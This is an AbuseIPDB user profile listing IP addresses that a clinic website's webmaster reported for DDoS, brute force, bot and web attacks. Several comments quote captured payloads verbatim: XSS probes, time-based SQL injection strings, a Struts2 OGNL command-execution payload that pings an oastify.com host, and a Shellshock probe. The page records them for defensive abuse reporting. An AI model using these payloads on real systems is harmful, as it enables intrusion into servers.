Astetrix - AbuseIPDB User Profile

User Astetrix , the webmaster of clinicahigueras.es, joined AbuseIPDB in April 2024 and has reported 30 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
79.117.37.82	24 Mar 2025	page\=%3c%2fscript%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e page\=%3cscript%3e ... show morepage\=%3c%2fscript%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e page\=%3cscript%3ealert%28document.domain%29%3c%2fscript%3e 2025-03-24 12:42:00 79.117.37.82 url\=%3cscript%3ealert%28document.domain%29%3c%2fscript%3e 2025-03-24 12:46:00 79.117.37.82 url\=%3cscript%3ealert%28document.domain%29%3c%2fscript%3e 2025-03-24 12:48:00 79.117.37.82 last_page\=session%2flogin&language\=en%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&login\=&CipheredValue\= pagename\=OpenMarket%2fGator%2fFlexibleAssets%2fAssetMaker%2fcomplexassetmaker&cs_imagedir\=qqq%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e show less	Web Spam SQL Injection Bad Web Bot Web App Attack
198.41.241.64	03 Feb 2025	DDoS Attack DNS port 53 UDP	DDoS Attack
161.35.79.219	31 Jan 2025	WEb BOT	Bad Web Bot Web App Attack
144.202.86.183	22 Jan 2025	DDoS attack Port 53	DDoS Attack Bad Web Bot
23.188.88.21	28 Dec 2024	Brute Force CITRIX	Brute-Force Web App Attack
40.126.229.236	21 Dec 2024	Brute Force attack O365	Brute-Force
16.162.55.176	18 Dec 2024	user_agent="(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'\" ... show moreuser_agent="(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'\"+(select(0)from(select(sleep(15)))v)+\"*/", user_agent="0\"XOR(if(now()\\=sysdate(),sleep(15),0))XOR\"Z", user_agent="0'XOR(if(now()\\=sysdate(),sleep(15),0))XOR'Z", user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", user_agent="eu8WPTb9')) show less	SQL Injection
58.220.81.217	02 Dec 2024	DDoS port 80	DDoS Attack
37.15.34.235	19 Nov 2024	Burpsuite - Collaborator PortSwigger. Connect to oastify.com ?status=pending&authoris ... show moreBurpsuite - Collaborator PortSwigger. Connect to oastify.com ?status=pending&authorised=cc3a9PihsahHSvePo&%25%7b(%23dm%[email protected]@DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d'ping%20p5vf879fs3020zeb5s5xxcxtgkmaaz.oastify.com%20-c1').(%23iswin%3d(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f%7b'cmd.exe'%2c'%2fc'%2c%23cmd%7d%3a%7b'%2fbin%2fbash'%2c'-c'%2c%23cmd%7d)).(%23p%3dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(@org.apache.commons.io.IOUtils@toString(%23process.getInputStream()))%7d=1 show less	SQL Injection
54.93.254.191	19 Nov 2024	?status=pending&authorised=cc3a9PihsahHSvePo&%25%7b(%23dm%[email protected]@DEFAULT_MEMBER_ACCESS) ... show more?status=pending&authorised=cc3a9PihsahHSvePo&%25%7b(%23dm%[email protected]@DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d'ping%20p5vf879fs3020zeb5s5xxcxtgkmaaz.oastify.com%20-c1').(%23iswin%3d(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f%7b'cmd.exe'%2c'%2fc'%2c%23cmd%7d%3a%7b'%2fbin%2fbash'%2c'-c'%2c%23cmd%7d)).(%23p%3dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(@org.apache.commons.io.IOUtils@toString(%23process.getInputStream()))%7d=1 show less	SQL Injection
3.124.123.140	26 Oct 2024	() { _; } >_[$($())] { echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6278 Output : $((3 ... show more() { _; } >_[$($())] { echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6278 Output : $((3+56))"; } show less	Hacking SQL Injection
43.134.33.254	24 Oct 2024	DDoS Attack	DDoS Attack Bad Web Bot
34.126.191.155	24 Oct 2024	DDoS attack	DDoS Attack Bad Web Bot
43.153.208.148	24 Oct 2024	DDoS attack	DDoS Attack Bad Web Bot
13.77.154.154	24 Oct 2024	Use DDoS attack	DDoS Attack
91.107.173.67	24 Oct 2024	DDoS attack	DDoS Attack
43.134.229.98	24 Oct 2024	DDoS attack	DDoS Attack
217.69.10.141	11 Oct 2024	Malware RAT and Ransomware	Hacking Exploited Host
95.214.27.27	11 Oct 2024	Malware RAT and Ransomware	Hacking Exploited Host
115.127.145.131	27 Aug 2024	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Sa ... show moreMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 show less	Web Spam Port Scan Bad Web Bot
115.127.145.134	27 Aug 2024	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Sa ... show moreMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 show less	Web Spam Port Scan Bad Web Bot Web App Attack
115.127.145.133	27 Aug 2024	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Sa ... show moreMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 show less	Web Spam Port Scan Web App Attack
202.134.14.131	27 Aug 2024	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Sa ... show moreMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 show less	Web App Attack
213.195.110.18	26 Aug 2024	DDoS Attack User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 F ... show moreDDoS Attack User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 JA3 Fingerprints: e5ba05202909ac1ea81e3f940a583d20 Method: POST show less	DDoS Attack
88.3.133.25	23 Aug 2024	Brute Force attack and Path Directory attack	Brute-Force Web App Attack